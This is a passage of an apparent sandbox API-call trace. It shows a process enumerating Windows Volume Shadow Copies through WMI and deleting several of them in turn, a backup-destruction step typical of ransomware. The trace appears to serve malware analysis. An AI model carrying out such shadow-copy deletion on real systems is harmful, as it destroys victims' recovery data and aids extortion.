[0052.907] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0052.907] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0052.907] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0052.907] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0052.907] free (_Block=0x38d350) [0052.907] free (_Block=0x38cb40) [0052.907] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0052.908] malloc (_Size=0x18) returned 0x38c9f0 [0052.908] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{E1ADED26-A00D-489F-A2D1-21A5F0FDF97C}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0052.908] free (_Block=0x38c9f0) [0052.908] malloc (_Size=0x800) returned 0x38cb40 [0052.908] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0052.909] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="쫰B") returned 0x67 [0052.909] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{E1ADED26-A00D-489F-A2D1-21A5F0FDF97C}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0052.909] malloc (_Size=0x68) returned 0x38d350 [0052.909] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{E1ADED26-A00D-489F-A2D1-21A5F0FDF97C}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{E1ADED26-A00D-489F-A2D1-21A5F0FDF97C}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0052.909] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0052.909] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0052.909] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0052.909] free (_Block=0x38d350) [0052.909] free (_Block=0x38cb40) [0052.909] LocalFree (hMem=0x42caf0) returned 0x0 [0052.909] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{E1ADED26-A00D-489F-A2D1-21A5F0FDF97C}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0054.728] IUnknown:Release (This=0x2f3d80) returned 0x0 [0054.728] malloc (_Size=0x800) returned 0x38cb40 [0054.728] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0054.728] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0054.728] malloc (_Size=0x20) returned 0x38d350 [0054.728] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0054.728] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0054.728] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0054.729] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0054.729] free (_Block=0x38d350) [0054.729] free (_Block=0x38cb40) [0054.729] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0054.730] malloc (_Size=0x18) returned 0x38c9f0 [0054.730] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{05121166-67F2-4EA9-83D8-EDC08F680DA7}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0054.730] free (_Block=0x38c9f0) [0054.730] malloc (_Size=0x800) returned 0x38cb40 [0054.730] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0054.730] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="쫰B") returned 0x67 [0054.730] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{05121166-67F2-4EA9-83D8-EDC08F680DA7}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0054.730] malloc (_Size=0x68) returned 0x38d350 [0054.730] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{05121166-67F2-4EA9-83D8-EDC08F680DA7}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{05121166-67F2-4EA9-83D8-EDC08F680DA7}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0054.730] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0054.730] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0054.730] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0054.730] free (_Block=0x38d350) [0054.730] free (_Block=0x38cb40) [0054.730] LocalFree (hMem=0x42caf0) returned 0x0 [0054.731] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{05121166-67F2-4EA9-83D8-EDC08F680DA7}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0056.364] IUnknown:Release (This=0x2f3d80) returned 0x0 [0056.364] malloc (_Size=0x800) returned 0x38cb40 [0056.365] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0056.365] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0056.365] malloc (_Size=0x20) returned 0x38d350 [0056.365] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0056.365] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0056.365] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0056.365] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0056.366] free (_Block=0x38d350) [0056.366] free (_Block=0x38cb40) [0056.366] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0056.367] malloc (_Size=0x18) returned 0x38c9f0 [0056.367] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{AACD2EA4-29A9-4B07-A4A9-1320561DEC2F}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0056.367] free (_Block=0x38c9f0) [0056.367] malloc (_Size=0x800) returned 0x38cb40 [0056.367] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0056.367] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="쫰B") returned 0x67 [0056.367] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{AACD2EA4-29A9-4B07-A4A9-1320561DEC2F}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0056.367] malloc (_Size=0x68) returned 0x38d350 [0056.367] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{AACD2EA4-29A9-4B07-A4A9-1320561DEC2F}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{AACD2EA4-29A9-4B07-A4A9-1320561DEC2F}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0056.367] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0056.367] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0056.368] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0056.368] free (_Block=0x38d350) [0056.368] free (_Block=0x38cb40) [0056.368] LocalFree (hMem=0x42caf0) returned 0x0 [0056.368] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{AACD2EA4-29A9-4B07-A4A9-1320561DEC2F}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0058.186] IUnknown:Release (This=0x2f3d80) returned 0x0 [0058.186] malloc (_Size=0x800) returned 0x38cb40 [0058.186] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0058.186] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0058.186] malloc (_Size=0x20) returned 0x38d350 [0058.186] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0058.186] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0058.186] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0058.187] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0058.187] free (_Block=0x38d350) [0058.187] free (_Block=0x38cb40) [0058.187] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0058.193] malloc (_Size=0x18) returned 0x38c9f0 [0058.194] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{7199C78C-6563-4398-B813-4A3F86995AEC}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0058.194] free (_Block=0x38c9f0) [0058.194] malloc (_Size=0x800) returned 0x38cb40 [0058.194] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0058.194] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="쫰B") returned 0x67 [0058.194] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{7199C78C-6563-4398-B813-4A3F86995AEC}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0058.194] malloc (_Size=0x68) returned 0x38d350 [0058.194] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{7199C78C-6563-4398-B813-4A3F86995AEC}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{7199C78C-6563-4398-B813-4A3F86995AEC}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0058.194] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0058.194] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0058.197] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0058.197] free (_Block=0x38d350) [0058.197] free (_Block=0x38cb40) [0058.197] LocalFree (hMem=0x42caf0) returned 0x0 [0058.197] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{7199C78C-6563-4398-B813-4A3F86995AEC}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0059.887] IUnknown:Release (This=0x2f3d80) returned 0x0 [0059.887] malloc (_Size=0x800) returned 0x38cb40 [0059.887] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0059.887] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0059.887] malloc (_Size=0x20) returned 0x38d350 [0059.887] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0059.887] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0059.887] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0059.888] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0059.888] free (_Block=0x38d350) [0059.888] free (_Block=0x38cb40) [0059.888] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0059.889] malloc (_Size=0x18) returned 0x38c9f0 [0059.889] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{0F63D180-8A8A-41CF-8B3E-2852647AB192}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0059.890] free (_Block=0x38c9f0) [0059.890] malloc (_Size=0x800) returned 0x38f7a0 [0059.890] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38f7a0, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0059.890] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38f7a0, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="쫰B") returned 0x67 [0059.890] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{0F63D180-8A8A-41CF-8B3E-2852647AB192}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0059.890] malloc (_Size=0x68) returned 0x38e4c0 [0059.890] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{0F63D180-8A8A-41CF-8B3E-2852647AB192}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38e4c0, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{0F63D180-8A8A-41CF-8B3E-2852647AB192}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0059.890] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0059.890] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0059.891] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0059.891] free (_Block=0x38e4c0) [0059.891] free (_Block=0x38f7a0) [0059.891] LocalFree (hMem=0x42caf0) returned 0x0 [0059.891] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{0F63D180-8A8A-41CF-8B3E-2852647AB192}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0061.422] IUnknown:Release (This=0x2f3d80) returned 0x0 [0061.422] malloc (_Size=0x800) returned 0x38cb40 [0061.422] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0061.422] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0061.422] malloc (_Size=0x20) returned 0x38d350 [0061.422] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0061.422] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0061.422] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0061.423] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0061.423] free (_Block=0x38d350) [0061.423] free (_Block=0x38cb40) [0061.423] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0061.424] malloc (_Size=0x18) returned 0x38c9f0 [0061.424] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{0B0F76A6-8FD3-471C-82BB-6BFF00FEE5E6}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0061.424] free (_Block=0x38c9f0) [0061.424] malloc (_Size=0x800) returned 0x38cb40 [0061.424] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0061.425] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="쫰B") returned 0x67 [0061.425] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{0B0F76A6-8FD3-471C-82BB-6BFF00FEE5E6}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0061.425] malloc (_Size=0x68) returned 0x38d350 [0061.425] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{0B0F76A6-8FD3-471C-82BB-6BFF00FEE5E6}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{0B0F76A6-8FD3-471C-82BB-6BFF00FEE5E6}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0061.425] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0061.425] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0061.426] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0061.426] free (_Block=0x38d350) [0061.426] free (_Block=0x38cb40) [0061.426] LocalFree (hMem=0x42caf0) returned 0x0 [0061.426] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{0B0F76A6-8FD3-471C-82BB-6BFF00FEE5E6}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0062.858] IUnknown:Release (This=0x2f3d80) returned 0x0 [0062.858] malloc (_Size=0x800) returned 0x38cb40 [0062.858] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0062.858] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0062.858] malloc (_Size=0x20) returned 0x38d350 [0062.858] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0062.859] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0062.859] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0062.859] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0062.859] free (_Block=0x38d350) [0062.859] free (_Block=0x38cb40) [0062.859] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0062.861] malloc (_Size=0x18) returned 0x38c9f0 [0062.861] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{4F7A47EB-6D55-4A21-A8E3-D86C5E1F886F}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 